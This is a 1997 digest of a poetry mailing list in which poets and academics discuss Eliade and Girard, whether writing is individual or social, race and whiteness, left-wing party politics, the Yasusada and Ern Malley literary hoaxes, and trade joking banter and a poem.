>blah blah, how I make my way through it might be different, individual, even
>if there's no such person as the unsocialized urperson. To say that all of
>my significant movements are in detail socially determined sounds an awful
>lot like recycled calvinism. This may be naive (I love the use of naive as
>an expletive).

does expletive mean simply pejorative? i didn't think so. i thought it had a more specific meaning which wd make the term "naive" not an expletive. can some etymologist or grammarian explain what, exactly, an expletive is?

↑ Index

659. Charles Alexander
Re: lodging for Poetry and the Public Sphere
Mon 21 Apr 1997

Dear Kathy:

At the last minute here my lodging plans seem to be collapsing. I was going to stay with friends in Philadelphia & commute by train. But now (I won't go into all the reasons) that seems to be impossible.

Bob Perelman has offered me space in his hotel room, with Alan Golding, pending Alan's assent. I'm willing to take a pallet on a floor, or even just a floor if it comes to that. And of course I will contribute my share. I have emailed Alan asking him. But I also thought I ought to email you in case you have other ideas or suggestions, or perhaps know someone else who has no roommate and wants one, or someone who has cancelled . . .

any help is very much appreciated, and I am sorry to be such a pain at this late date when you must have much else to think about.

all best wishes, and I look forward to meeting you.

charles alexander

charles alexander / chax press / [redacted]

↑ Index

660. **Charles Alexander**
message to the wrong place
Mon 21 Apr 1997

---

oops.

again, perhaps for the third time in as many years, I sent a personal message to the wrong place. Very sorry.

charles

charles alexander / chax press / [redacted]

↑ Index

661. **KENT JOHNSON**
awol
Mon 21 Apr 1997

This is another test. One of my messages posted yesterday and three from day before have vanished. One a response to David Kellog's query re: Yasusada's book, another on Culianu's murder, another a valentine to Alan Jen Sondheim, and another reporting what I think is a breakthrough on my efforts to decode B&B's hidden messages. Isn't it too much of a coincidence that just as I expose Bowering and Bromige, my messages start going AWOL?

I feel like the guy who was seated first in the restaurant, and then has to watch as everyone else gets served (served, get it?) before him. But this is worse than that.

Kent

↑ Index

662. **sschu30844**
Re: monk, t.
Mon 21 Apr 1997

Yes, I think it must have been Robin Kelley who's writing the Monk biography.

Susan

↑ Index

663. **Hugh Steinberg**
Re: back to drawing board / (if not to lurk)
Mon 21 Apr 1997

>Glad someone pointed that out; but still, the surfer idea leads to
>other maritime possibilities . . . .

>
Stowaways?

Hugh Steinberg

↑ Index

664. **Hugh Steinberg**
Re: desublimation; Eliade
Mon 21 Apr 1997

Henry Gould wrote:

> *re: Eliade. Did anyone see the article by Umberto Eco in a recent NY Review of Bks about Eliade's connections with a Romanian fascist secret police organization & the unsolved murder of a young grad student of his who was beginning to distance himself from the master (the student was also Romanian). Unsolved murder in Chicago.*

There was a feature on this in the Chicago Reader several months ago.

> *Myth is murder, according to Prof. Girard. What say, ethno-poeticians?*

Am not an ethno-poetician (at least I don't think I am) but if myth is a form of societal dreaming, it's reasonable to assume some of those dreams will be nightmares.

Hugh Steinberg

↑ Index

665. **George Bowering**
Re: Bowering and Bromige test
Mon 21 Apr 1997

Here's a hint to Kent re the obfuscated messages. David would not want me to do this, but I cant help myself. You will understand more of our repartee if you have a look in any decent introduction to the Korean language.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

666. **Ryan Whyte**

set on roam

Mon 21 Apr 1997

[these poems are part of a meditation on technology, containment, responsibility, solitude, and some other phenomenologies]

following from another consideration of the subject
shady cotton pools and her hair swelters, a tent
is likely. However there's the other possibility
whose borders are marked with eyeshadow, sticky

Call them up because you've got the number. Connect
to the cellular net and don't lose this conception;
she sells her eggs for black suns, and I'd like
to be tied up, which is something else altogether

ends will not be met which means that other sacrifice
have to do; marriage will be counseled, offshore, away
from the traitors and unkempt backbenchers. Seeing
what I mean, the likeliness of your being

found is quite high as long as you keep the phone
set on roam. At the same time, and let's shift gears
here, connectibility guarantees that what you say
will come to pass, usually within a day or two.

the keys to prisoners are rattling on the clip on the
belt by the phone which is also battery-powered.
Current projections put the unconscious on the alert
hair shirt is kept, searched then passed across

borderline states. Drawing in spittle, shareholders
in this venture hold her hair in high esteem tenting
meetings held about the future. Records like skin diseased,
Nietzschian, against the motorized projection screen -

lenticular and that is I emphasize a way of seeing
nicene creed, balanced against the write offs of this
quarter. Speaking about the city, no less, the ancient
quiescence of which is estimable by today's standards

↑ Index

667. **Pierre Joris**
Re: desublimation/eliade
Mon 21 Apr 1997

Henry -- I read Girard's work with wonder & pleasure as it came out over the years, especially the early books. When, however, he got to his final theory by which ALL the trouble in the world is explained/resolved by ONE shopworn idea (the scape-goat) & ONE solution (a just as shopworn xtian possibility) I gave up in anger: his turns out to be one more single-narrative alabi explanation more attuned to totalizing 19th century desires than to the reality of this century. The evangelical arrogance of a man calling his magnum opus "Of things hidden since the foundation of the world" ⬩ things which he then of course claims to reveal for the first time to us befuddled mortal masses ⬩ is more than I am willing to put up with. -- Pierre

ps. have read elsewhere about the Eliade caper. difficult to disentangle
the arcana of rumanian secret service stuff. am suspending belief til
the cows come home on that one which don't mean I cldn't see our
myth-worker involved in unsavory hanky-panky. That breed seems inclined
to totalizing gestures -- remember Jung's brushes with fascismo.
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertion. -- Maurice Blanchot
==========

↑ Index

668. **henry gould**
desublimation/eliade
Mon 21 Apr 1997

I regret last post of mine. Sorry, David B., for the bile. & sorry list for having to listen in. DB has started me thinking about this in a new way.

Re; Eliade article - sorry, David I., I can't give you more specifics - I think it was in the latest or next-to-latest NY Review of Books. And Eco didn't unearth the story - he's just reviewing a book about it by a Romanian author. "Myth is murder" is just shorthand for Rene Girard's massive all-encompassing theory of human culture & nature. He theorizes that the roots of human culture & even intelligence (by way of the ability to name & make distinctions) is rooted in "mimetic desire" (the desire for something the value of which is enhanced only because someone ELSE has it). That in social situation this triangle leads to endless back-&-forth feuding, & cultures solve this problem via the scapegoat mechanism; that underlying all culture-organizing myths lies mob violence & the scapegoat victim - myths are a kind of utilitarian bad faith or disguise which promote the victim to culture hero & thus salve the guilt of the community & maintain the system at the same time. Girard argues that Biblical religion exposes this mechanism & thus opens the possibility for breaking the vicious circle via understanding. I think there is some truth to the idea - paralleled in a purely literary sense in Auerbach's thesis that the Bible began our sense of "ordinary reality" in literature - that the Bible represents a comic, de-glorified divinity - subversive to mythology. There are a ton of books about all this. (One could argue though that some forms of Christianity - & probably other religions too - try to have it both ways, & the circle goes on). But I agree with Walt Whitman, folks: Let's Not Argue About Religion. (hey, it's National Poetry Month.) - Henry Gould

↑ Index

669. **KENT JOHNSON**

re-post re: Yasusada

Mon 21 Apr 1997

I had sent the below as a reply to David's Kellogg's query on future book publication of Yasusada. It (with three other posts, including a crucial update on the B&B decoding which I'm also going to re-type) never got on the list after numerous tries, so I think the original is somehow corrupted--thus my re-typing without David's original message titled "Re: Perloff on Yasusada." It's transparently obvious to me now that B&B are working directly with Joel Kuszai, or else they have somehow infected the sending function of my machine. I've just installed a new anti-jamming system, so maybe I'll get around them this time...

On 4/19 David wrote in part: "I would like to know what Kent Johnson (who's on this list) thinks of the piece [Marjorie Perloff's Boston Review essay]. But given his generally nimble responses to queries on this score, I don't imagine he'll be all that direct.... Are the Yasusada poems going to be published in book form? I would hope so."

I replied:

David: Doubled Flowering: From the Notebooks of Araki Yasusada, will be published by James Sherry's Roof this fall--the complete manuscript of poems, letters, and marginalia, along with a "critical appendix." But I have to ask what you mean by my "generally nimble responses to queries on this score," since the truth is that no one has ever asked me anything on this list and thus I have responded to nothing! On the Sokal thing, it's the hope of those involved in the Yasusada that it won't be reduced to that level. Yasusada is much more than a trick.

Kent

↑ Index

670. Mark Wallace
who is social, individual, or a writer
Mon 21 Apr 1997

Actually, I think Henry Gould and some others are missing the implications of Jefferson Hansen's suggestion that writing is a social rather than individual phenomena, and I want to elaborate on the reasons I'm with Jeff on this one.

Historically, inside the traditions of western philosophy and culture, to speak very generally, the "individual" refers to the idea that the human being has a single, unified consciousness that exists without any level of social mediation--individuals are BORN as themselves, as unified, and then come into contact with a social environment. There is a lot of writing that takes apart this notion of the individual--I'm not sure I want to say more here than that the work of Foucault and many others focuses on how the notion of the individual IS ITSELF A SOCIAL CREATION.

But let's assume, for the moment, that Henry's evocation of the "individual" is a less naive notion; that what he means, rather, is that despite the various levels of social interaction to which individuals are subjected (and to which they respond in and perhaps beyond that subjection), there still remains a PARTICULAR vision that comes forth from this particular consciousness, which marks that consciousness as individual in the sense that its ideas and productions are exactly that, PARTICULAR. This seems perhaps a more workable notion of the individual as existing in a kind of social specificity that is not totally accountable to group consciousness.

That might seem a better notion of the individual, except that it seems to me that there is a further problem. WHILE IT MAY BE TRUE THAT SOME PART OF A WRITER'S PRODUCTION MAY COME FROM A UNIQUE PLACE THAT CANNOT WHOLLY BE ACCOUNTED FOR BY AN EXAMINATION OF

THAT WRITER'S SOCIAL FRAME, IT'S NOT CLEAR THAT ANYTHING ABOUT THIS PARTICULARITY CAN BE MARKED AS A KIND OF SINGULAR CONSCIOUSNESS THAT COULD BE TERMED INDIVIDUAL. That is, if some part of consciousness and production remains opaque to, resistant to, unreclaimable by the contextualization of a social frame, there is equally no proof that this "resistant" proportion of productive consciousness has anything unified about it. In fact, the attempt to describe this fundamentally opaque site, whose status cannot be determined except through the language to which it remains opaque, as a notion of INDIVIDUALITY is precisely an attempt to unify it, unless one wants to retain the term "individuality" to apply to something not singular, not unified, and resistant to description. But it seems to me that "individuality" is by no means sufficent to describe such a field of activity, especially as it is a term already compromised by its prior use as a notion of unified, non-social consciousness that is central to the mechanics of late capitalist cultural domination.

Of course, whether such a field of activity really exists as resistant to the social is itself an intensely important question. I would take Jeff to mean, in this case, that such a site of resistance, were it to exist or not, DOES NOT FORM A SIGNIFICANT GROUND FROM WHICH THE ACTIVITY OF WRITERS FOR INSTANCE EMERGES. Its opaqueness to the social either does not exist at all, or is no more than an undifferentiated residue which is at best a minor and indecipherable part of the creative process, especially when compared to the power of social ideology. I suppose the signficance of this opaque site to creativity could be debated, but again, I see no way to describe it as "individual," because I see no way to think of it as a site of any sort of unified consciousness.

Clearly, the history of 20th century philosophy, psychoanalysis, and cultural studies (and how all these fields are also altered by feminism) has been much taken with this history of the status of the subect and its (potential?) residues.

There are no individuals.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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671. **Maria Damon**
Re: desublimation; Eliade
Mon 21 Apr 1997

henry, i assumed this was a joke. am i wrong?

At 11:44 PM -0600 4/20/97, Hugh Steinberg wrote:
>Henry Gould wrote:
>
>>re: Eliade. Did anyone see the article by Umberto Eco in a recent NY
>>Review of Bks about Eliade's connections with a Romanian fascist secret
>>police organization & the unsolved murder of a young grad student of his
>>who was beginning to distance himself from the master (the student was
>>also Romanian). Unsolved murder in Chicago.
>
>There was a feature on this in the Chicago Reader several months ago.
>
>>Myth is murder, according to Prof. Girard. What say, ethno-poeticians?
>
>Am not an ethno-poetician (at least I don't think I am) but if myth is a
>form of societal dreaming, it's reasonable to assume some of those dreams
>will be nightmares.
>
>Hugh Steinberg

↑ Index

672. **Maria Damon**
Re: cheapening sex in an inflationary spiral
Mon 21 Apr 1997

personally, i think you old codgers are kinda cool, as long as i can understand your jokes. but rachel loden, o Lady of the Poetic Twilight of the Dogs, where art thou in all this? yr the greatest,the Muhammad Ali of poeticsleaze!--md

At 2:13 AM -0500 4/20/97, David Bromige wrote:
>I was so glad when george posted & didnt say the reason we'd been
>cheapening sex lately was cause as old farts we have to pay too much for
>it. George can be very vulgar, & that is certainly vulgar. But george, I
>think its best to admit our code isnt Korean, its Canadian, eh? And its
>best to admit we bin caught w our pants round our ankles. Its a first
>offense, & i think we should throw ourselves on the mercy of the court. I
>intend to talk abt how busy i've bin w civic duties of late, writing
>letters to the local papers & going to weekly meetings and stomping the
>precincts to prevent the wrongful annexation of orchard-land to build an

>industrial park on the edge of town, how i had to make a speech to the
>Local Agency Formation County Organization while they were all doing good
>imitations of my firstyear students during Melville, how we had to put on a
>mixer/art auction to raise money to pay for the lawsuit and how i've been
>gathering stuff for the yardsale next weekend, humping mattresses into
>flatbed trucks, for the same purpose, against big odds: 4 of the 5 city
>council members cldnt be more for it if they were in the pockets of the
>developer (i'm probably speaking metaphorically about now, the council is
>too big for that), and theres a law now that allows the city cxouncils to
>pass on the costs of any lawsuit to the developer, which is a bad law
>because it encourages the council to vote irrespnsibly, as they did in this
>case, the EIR is the most flawed i've ever seen, the traffic engineer in
>reporting that the 2500/day extra cartrips this industrial park will
>generate. neglected to factor in that each year, an extra 880 car trip/p.d.
>go thru Sebastopol. And the waste storage ponds planned wont be nearly
>large enough to contain effluent from the parkinglots once the big storms
>hit in the winter.Its ribbon development, which our recently approved
>General Plan forbids, meanwhile theres an industrial park already built 43
>miles away in Santa Rosa w plenty of empty buildings, and I cd go & on
>about this, not my first venture into grassroots politics, but i wont,
>because who wants long postings, and also because i want to address your
>defense, George, you must tell of how hard you work at SFU, and of needing
>at the same time to be nursing your wife as you are doing thru a serious
>illness, while traveling the world in behalf of Canadian Lit; and how all
>this hard work, requiring stern sublimation, made us crack up : and then we
>just throw ourselves on the magistrate's mercy & hope he hasnt recently
>been made to look foolish in public by a colleague on some judicial matter
>in such a way that he's looking for some easy butt to kick. I'd say its
>always best to make a clean breast of it, but I'm worried that the
>superfluous sexual energy encoded in language would render that cliche, in
>context, suspect. But in any case, George, we must see to it that our
>heavily (but not heavily enough) encrypted desire for one another is kept
>strictly in the back channels henceforth. We wouldnt want the Listmaster, a
>man notorious for his playlessness, and who always stands by the fixed
>meanings he imparts to his words, delivering an officious censure to us on
>the parade ground. Au revoir, cherie--j'embarrass ton rep. db.

↑ Index

673. **Maria Damon**
Re: monk, t.
Mon 21 Apr 1997

At 12:47 AM -0400 4/21/97, [redacted] wrote:
>Yes, I think it must have been Robin Kelley who's writing the Monk biography.
>
>Susan

this would really be interesting, since Kelley is an historian specializing, i believe, in Black labor history in the South. he's smart as hell, so any bio he'd write will be terrific i'm sure.

↑ Index

674. **Maria Damon**
Re: What white
Mon 21 Apr 1997

At 2:07 PM -0700 4/20/97, Jeffrey W. Timmons wrote:
>On Fri, 18 Apr 1997, Dale Smith wrote:
>
>timmons:
>> >ok heres my (tentative) conclusion: race is semantically and
>> >epistemologically more complicated than the linguistic and conceptual
>> >categories used to discuss it. itd be more useful i think to be aware of
>> >that.
>>
>> It seems like this kind of intellectualized and evasive answer neglects to
>> address the positions of race as they actually function.
>
>no quite the opposite actually: it encourages one to be aware (dare i say
>sensitive?) to the permutations of difference and the difficulties of
>making ethno-assumptions. i dont apologize for an "intellectualized"
>answer and i dont accept as "evasive" an attempt to separate the wheat
>from the chaff--as it were. your point of addressing "the positions of
>race as they function" is taken to heart--however much the criticism of
>"cerebral--distant--contemplation" is inaccurate. i like to think of my
>self as somewhat influenced by enlightenment practices: the general AND
>the particular.
>
>> A body reveals certain traits--Asian, African, European--but it doesn't
>> always give you details of national heritage or even ethnicity, as in a
>> country like Burundi.

>
>> A white person's categorical discussion of race
>> pretty much reveals the problems Hoa pointed out in her post.
>
>this two statements evoke for me precisely the difficulties i mentioned
>in my post: that the racialized body is both a sign of ethnicity but
>problematically ambiguous. to which i suggested that our language for
>talking about this is simply not adequate to the experience and the
>experienced experience of race--which is to say that we are saying the
>same thing in different words. but while you alluded to this ambiguity
>of race you also insist upon it--which is not to say you are inconsistent
>but that the language of race necessitates both an attention (as you say)
>to the lived experience of race but (as i say) an attentiveness to where
>that language fails to address the ambiguities complexities difficulties
>of differences.
>
>> Finally, it is more than a bit ironic for a white person to determine a
>> "useful" vocabulary for racial discussion.
>
>i hope youre not making assumptions about race on-line: its hard to see
>not to mention the fact that the inscription of race on the body is
>itself always subject to interpretive ambiguity.
>
>> It seems like the appropriate
>> response to questions of race would be not to retreat into vague conceptual
>> terms, but to engage them in a more heart-felt way. As it is, the above
>> seems dismissive and casual, and it removes personal experience from the
>> complicated issues surrounding race.
>
>well referring to my post as "vague conceptual terms" that are
>"dismissive and casual" in favor of a rather sentimentalized language of
>the "heart" whose idiom is "personal experience" runs the risk not
>only of alienating your interlocutor but of particularizing any discussion of
>race into an my experience versus youre experience. a rather habermasian
>dilemma if i do say so.
>
>in the end this post raises these thoughts for me: first that i hope that
>i didnt seem too harsh in my original look at the use made of "white
>guys." second that an idiom mediating particularized languages of
>experience--the "heart"--and the "intellectualized" analysis of such
>epistemo-linguisitc concepts is necessary.
>

>best
>
>jeffrey timmons

jeffrey and dale: it's a truism by now that race is socially constructed. however, there are real privileges (for white folks) and disenfranchisements (for folks of color) assigned to those various social constructions. so to use the "construction" argument as to deny the real effects of racism and the real privileges of whiteness is a real problem. most of the "white" critical race theorists who are problematizing "whiteness" are doing so not to avoid taking responsibility for their privilege but precisely to take responsibility and take steps, as aldon pointed out in his "whatness of whiteness" post, to dissolve its mystical powers of privilege-granting. it is this taking responsibility that seems a little lacking in your posts, jeffrey. what you say about construction is true, but to use that argument to deny the material/ experiential effects of racism on people of color seems...well...evasive, as if you feel personally attacked and need to defend yourself. there's a wonderful article by george lipsitz in American Quarterly about a year ago, where he coins the term "possessive investment in whiteness" and explains how gov't policies that started in Roosevelt's time have affected the gap in life opportunities,material wellbeing, etc. between whites and blacks. this takes the argument out of the psycho-emotional "i feel hurt that i'm being charged w/ racism just cuz i appear to be white" realm that makes so many otherwise wellmeaning white people balk at a serious study of white privilege. being jewish (not technically, as my mother wasnt, but identifying as such) in america has complicated this issue for me. in europe, where most american jews came from, weren't white. here, we are. so here, we have to take responsibility for our white privilege without forgetting that it's a contingent category. we're "honorary whites," or "sort-of" white, or "white for now." it points up exactly how arbitrary the categories are. but --i can get a loan for a house no problem, i can buy property in certain parts of town, it was assumed i'd go to college (and i did), etc. etc. blah blah blah. i'm babbling now. no offense meant; just an intervention, perhaps inappropriate.

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675. **Steven Marks**
Re: desublimation; Eliade
Mon 21 Apr 1997

Eco article is in April 10, 1997 issue of NYRB. It's called "Murder in Chicago." I didn't read it so I can't add anything. Well, I suppose I could, but as Nixon reminded us: "That would be wrong." God, I hope that was Nixon and not Carter. Or Gore. My quote machine has been a rye lately.

Cheers on a finally warm Monday morning,
Steven

On Mon, 21 Apr 1997, Maria Damon wrote:

> *henry, i assumed this was a joke. am i wrong?*
>
> *At 11:44 PM -0600 4/20/97, Hugh Steinberg wrote:*
> *Henry Gould wrote:*
>
> *re: Eliade. Did anyone see the article by Umberto Eco in a recent NY Review of Bks about Eliade's connections with a Romanian fascist secret police organization & the unsolved murder of a young grad student of his who was beginning to distance himself from the master (the student was also Romanian). Unsolved murder in Chicago.*
>
> *There was a feature on this in the Chicago Reader several months ago.*
>
> *Myth is murder, according to Prof. Girard. What say, ethno-poeticians?*
>
> *Am not an ethno-poetician (at least I don't think I am) but if myth is a form of societal dreaming, it's reasonable to assume some of those dreams will be nightmares.*
>
> *Hugh Steinberg*

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

676. **Mark Prejsnar**
Re: L+A+N+G+P+O and New Party
Mon 21 Apr 1997

Two reponses, Kent---

On Fri, 18 Apr 1997, KENT JOHNSON wrote:

> *But Mark: one of the things I find interesting about the NP is that it has apparently gathered old CPers like Zinn, DSA types like Hightower, radical Christians like West, and real independents like Chomsky together under a common banner. Of course, these are just big names, but in the protracted context of the U.S. left's sectarian provincialism, the symbolism of such a gathering doesn't*

> *seem insignificant? Is Zinn's presence indicative of a broader CP presence in the NP? Have they all "fused" into it? (Why wouldn't they? The CPUSA's been a loyal social-democratic party ever since Hitler stabbeb Stalin in the back.)*

In my opinion...Well, there are some very long possible answers. The short answer in my opinion is: because world (stalinist) Communism was so central to the left, many serious attempts at building a sort-of-socialist alternative include old CP'ers. For the most part, it's nothing more significant (or sinister) than that. This was true of the New American Movement in the 1970's, a socialist party of some promise that melded into DSOC to creat DSA (and the promise faded); and of many other similar groupings. One constant in doing political work from 1968 to the present is, that you find people with this kind of background among the most committed and constant activists you're working with.

S > > And glad to hear from someone who has hung in there through these > very "unsocialist" times (and it *will* eventually surely be au > courant again to be anti-capitalist!) that the question of unity > amongst new and viable left organizations seems to be in the > discussion. But don't you think that if such unity comes to be, Mark, > that this conspiratorial "fusion" crap should go out the window? and if the two > parties are primarily there to give vent to the incestual squabbles > of this country's ruling class, why participate in the "obscenity", > as you put it, of what's going on?

The answer to that's easy, in my opinion (and was already contained in my first post on this)--Because it might help us reach many of the working people who still think the Republicrat structure is the one way to work if you are going to be "realistic". But if instead you want to try founding another flaming red revolutionary grouping, please be my guest. I might join! But I myself work full time or more at a day job, do labor activism, and consider my work as a poet and editor to my my "real" life's work--I can't quite manage the energy to found my own party! So I support any initiative that MIGHT move us forward..And like the Jesse Jackson campaigns AT FIRST (I hasten to add) the NP looks like it MIGHT have some small contribution to make in this direction. You work with the left you have; and I have always felt that the truely best left would be: 1. revolutionary; and 2. very much NON-leninist. As no such formation now exists that in my opinion is any good, I lend my support to whatever flawed initiatives I see people attempting out there.

Mark P.
Atlanta

↑ Index

677. **David Bromige**
no no nanook(ie)
Mon 21 Apr 1997

This "Subject" is one of my alltime favorites for its knotting of various possible and (barely?) relevant threads--i wonder herb@_eskimo_ hasnt responded.

But what a bad lot you are, Maria, Rachel and (no surprise here!) george. No sooner do I turn over a new leaf than I find--oh, no, one of those!--under it. Here I am, trying to go straight, not to offend moral sensibilities, and the three of you, trying to yank me back to the old days (like that time in Quebec!)

I must deny the boxer-shorts canard. Anybody who knows me well will tell you that I only wear jockeys or bikinis. I was wearing jockeys the one and only time Bowering saw me in my underwear. He walked into my room at his house while I was getting dressed. He read the brand name on the front of my jockeys and said, "Everlast! By the time she sees your underwear, she's already committed--you should put that sign on the front of your pants!"

The first step in giving up alcohol and other abusive substances, is to let all of your acquaintance know some of the details of your life during addiction. I post this message because I am on the 12-step program away from double entendere and sex-cheapening obtrusions into this place of serious discussion and debate.-For as long as my ex-partners in these activities continue to post sucrrilous allegations, I shall oblige my recovery guru by posting one more detail of their shameless but shameful activities. yrs in sobriety & chasteness, db.

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678. **Mark Prejsnar**
Re: Perloff on Yasusada
Mon 21 Apr 1997

I really look forward to Philip Read's writing on the Malley thing, which has always struck me as fascinating....I'd like to point out what I consider a neat (in several senses) parallel instance.

I still feel that perhaps I disagree with most posters here, on Perelman's Marginalization, including Susan in her excellent discussion (I got Witz on Saturday--Thanx, Chris Reiner!)...In the sense that I read the tone of the book as less putting-down of many of the poets discussed, than others do.....But here I'd like to point out one of my favorite passages in the book, where BP discusses a poem (in Writers & Poets magazine?) which was intended as an angry debunking of LongPo..Like the Malley poets, the author stressed that the short lyric was written without effort or revision, in (in her case) a few seconds. Perelman demonstrates (correctly, in my opinion) that the poem shoots its

author in the foot in just the way the Malley work has often been thought (by their opponents) to shoot its authors...The lyric can be read as quite intelligent, entertaining and meaningful. I rather like it, myself. Its author may have been demonstrating precisely the opposite of what she intended (namely, that non-mainstream "avant-garde" styles are inherently meaningless and worthless ways to write verse)..At the very least (and this is what I always thought the Malley affair represented) the "parody" language poem shows that parodic attack never demolishes a poetic style you dislike..... the only people who will "see the light" in response to your parody will be the folks who already agreed with your loathing of the style...

Mark P.

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679. **Rachel Loden**
no no nanook(ie)
Mon 21 Apr 1997

As a general rule, Maria, I try to stay out of places where Canadians are dropping their pants.

Rachel L.

> *But george, I*
> *think its best to admit our code isnt Korean, its Canadian, eh? And its*
> *best to admit we bin caught w our pants round our ankles.*

↑ Index

680. **michael corbin**
Re: desublimation/eliade
Mon 21 Apr 1997

---

henry gould wrote:
>
> I regret last post of mine. Sorry, David B., for the bile. & sorry list
> for having to listen in. DB has started me thinking about this in a new way.
>
> Re; Eliade article - sorry, David I., I can't give you more specifics - I
> think it was in the latest or next-to-latest NY Review of Books. And
> Eco didn't unearth the story - he's just reviewing a book about it by a
> Romanian author.

NYRB dated April 10, the "Spring Books Issue. The book under review by Eco is _Eros, Magic, and the Murder of Professor Culianu_ Northwestern U press. The author is Ted Anton who I believe is at Depaul University and not Romanian.

Eliade's connection with the fascist Romanian Iron Guard and Culianu's attempt to come to terms with this is part of a sordid reconstruction of events that led to his execution style killing. Eco, I guess had some brief connection with Culianu, but the review is rather flat, taking the book to task for tending toward the sensational. Although its hard to see how this story could be anything less, even if it is, in the last instance, simply the banal evil of Ceausescu-esque censorship of Romanian dissent.

mc

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681. **Gwyn McVay**
Re: What white
Mon 21 Apr 1997

---

re contingent whiteness: David Mura has said that Asians sometimes get to be considered honorary whites and sit in the front of the bus--as long as they don't ever get the illusion that they'll get to drive the bus.

Gwyn

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682. **Dale Smith**
Re: who is social, etc.
Mon 21 Apr 1997

I have to agree with Gould. I should keep my trap shut on this. I'm no philosopher. But to say that individuality does not exist in the writing process fails to acknowledge, to my mind, deeper manifestations of human individuality outside the act of writing. Even if some one conclusively proved that the individual is a social construction, so what? That should feed the individual with even deeper personal insights into his or her relationship with a larger group. With writing--with any creative act--a person takes action due to a personal impulse, a will to engage something outside the self. I'm sure one's will consists of more than only social conditioning. But even if it didn't, that would be all the more reason for the individual to engage the world with all of his or her idiosyncratic, chaotic, and impulsive gestures. It's been a while since I read it, but isn't that similar to the situation of Dostoevsky's character in Notes from Underground? In the end I feel that, as Pound said, it's better to gamble an opinion than to humbly submit to that with which you disagree. Anyway, that's my two cents, for what it's worth. I don't like these kinds of theoretical gambits, but I believe these discussions should take place on occasion to help possibly clarify, if only to ourselves, our own pretenses for writing at all.

> *I canna resist emphasizing a little further. If you deny individuality exists in the writing process, you might as well deny the importance or even existence of individuality per se. Is this what you're saying?*
>
> *Nothing personal - but I find this a malignant doctrine. Deny the existence of the individual & you might as well start the train cars rolling for the camps. Nothing personal - I sense from M & J's posts over the years that you are both young serious-minded fellows of good character & strong feeling & ideals - maybe you even look alike!!! But this retread of the negation of the human individual comes from reading too many books in political science, fellas. & you is wrong.*
>
> *Now please don't accuse me of heatin' up the rhetoric, cause I ain't. I just look at Stalinism & Fascism & all manner of superior authoritarian-isms & hear the same noises. & I agree in advance that Individualism could also become some kinda twisted anti-human ideology. & profit & property have justified their stealth on half-notions of the individual. But don't throw out the BABY with the...*
> *- Henry G.*

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683. **Christopher Alexander**
Re: Perloff on Yasusada
Mon 21 Apr 1997

Philip wwrott:
> "Ern Malley" became, and remains, a kind of rallying point for radical
> modernist, postmodern and avant-garde writing in Australia. For the
> moralising anti-modernists of mid-century Australian literature, Ern Malley
> represents the the possibility of an entirely amoral art. (Max Harris was
> prosecuted for pusblishing obscene material, that is, poetry of
> indeterminate meaning.) In a chapter I'm currently writing, I argue that in
> fact Malley becomes the _authentic_ origin of Australian (post)modernism.

I wonder if you (or anyone, really) can direct those of us who are not familiar with the Ern Malley affair (which does have a distinctly Victorian ring, thus put) to a few salient (primary &/or secondary) sources. I assume there's a lot of writing on this one out there, somewhere, but possibly in more fugitive publications, & so not, for instance, indexed in the MLA database.

Chris
..
christopher alexander, etc. / nominative press collective
[redacted] / **********

http://choengmon.lib.utah.edu/~calexand/nonce

Hey!!
Now Available for a mere $4:
constellation voice by linda russo

↑ Index

684. **Aldon L. Nielsen**
Re: back to drawing board / (if not to lurk)
Mon 21 Apr 1997

On Sun, 20 Apr 1997, Hugh Steinberg wrote:

> *Glad someone pointed that out; but still, the surfer idea leads to other maritime possibilities . . . .*
>
> *Stowaways?*
>
> *Hugh Steinberg*

lubbers?

↑ Index

685. **michael corbin**
Re: What white
Mon 21 Apr 1997

Maria Damon wrote:

> *in europe, where most american jews came from, weren't white. here, we are. so here, we have to take responsibility for our white privilege without forgetting that it's a contingent category. we're "honorary whites," or "sort-of" white, or "white for now." it points up exactly how arbitrary the categories are. but --i can get a loan for a house no problem, i can buy property in certain parts of town, it was assumed i'd go to college (and i did),*

Along these lines Noel Ignatiev (co-editor of _Race Traitor_) published _How the Irish Became White_ examining in fine historical detail the dynamic M. Damon refers to.

Race Traitor's subhead is "a journal of the new abolitionism". It is theoretically eclectic in its treatment(s) of social construction-ism. however it is precisely about active and activist attempts at confronting the very real manifestations of racism, rather than the straw-man dance around 'PC', multi-cultural-ism

etc. and other bugbears that lather up discussions of injured liberal locus communis. One of the journal's strengths is the space given to young folks.

mc

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686. **Kristin Gallagher**
Re: New party, etc
Mon 21 Apr 1997

---

gone for weekend, glad to get back to all these interesting messages.

> *They (the NP) seem in my experience to be*
> *doing better than most leftists of the past two decades at drawing in*
> ***real** working class people of all races.*

not sure what to make of this claim. the new party's base seems to be primarily in the intelligencia at this point. the philly branch of the labor party (detroits is also pretty successful) has succeeded in umbrella-ing a wide variety of activist groups LED by poor people.

> *Why do you see the new*
> *Labor Party as "more promising" of overthrowing "global capitalism"?*
> *Do you mean its present leadership and current program offer this*
> *hope, or do you mean that a political party in this country firmly*
> *grounded in working class organizations is an absolute prerequisite*
> *grounded in working class organizations is an absolute prerequisite*
> *for smashing the rule of capital?*

here the latter is the crux of the matter. people who have nothing to lose are less likely to compromise with the present system. while i like the new party's ideas, (see the following)

> *Their (NP)platform is in flux and very vague, which has pissed off lots of*
> *people on the left, and led to many attacks. The NP says that this is*
> *because ultimately they want the folks who are building the party to draw*
> *up its detailed credo,*

if they do not succeed in overturning the fusion thing, they may not make it electorally. if they overturn the anti-fusion thing, but only mostly have the intelligencia behind them, then it is possible that (see following)

> *the NP is going to repeat the trajectory of Democratic*
> *Socialists of America, and become a sunday tea-club entirely subservient*
> *for all practical purposes to the Democratic wing of the Republicrats, and*
> *thus dead as a political force.*

as for the labor party . . . .

> *until their naitonal leadership wholly endorses*
> *activism/membership by folks outside certified union locals, and commits*

> *to running its own cadidates, it remains a pretty limited option for most of us...*

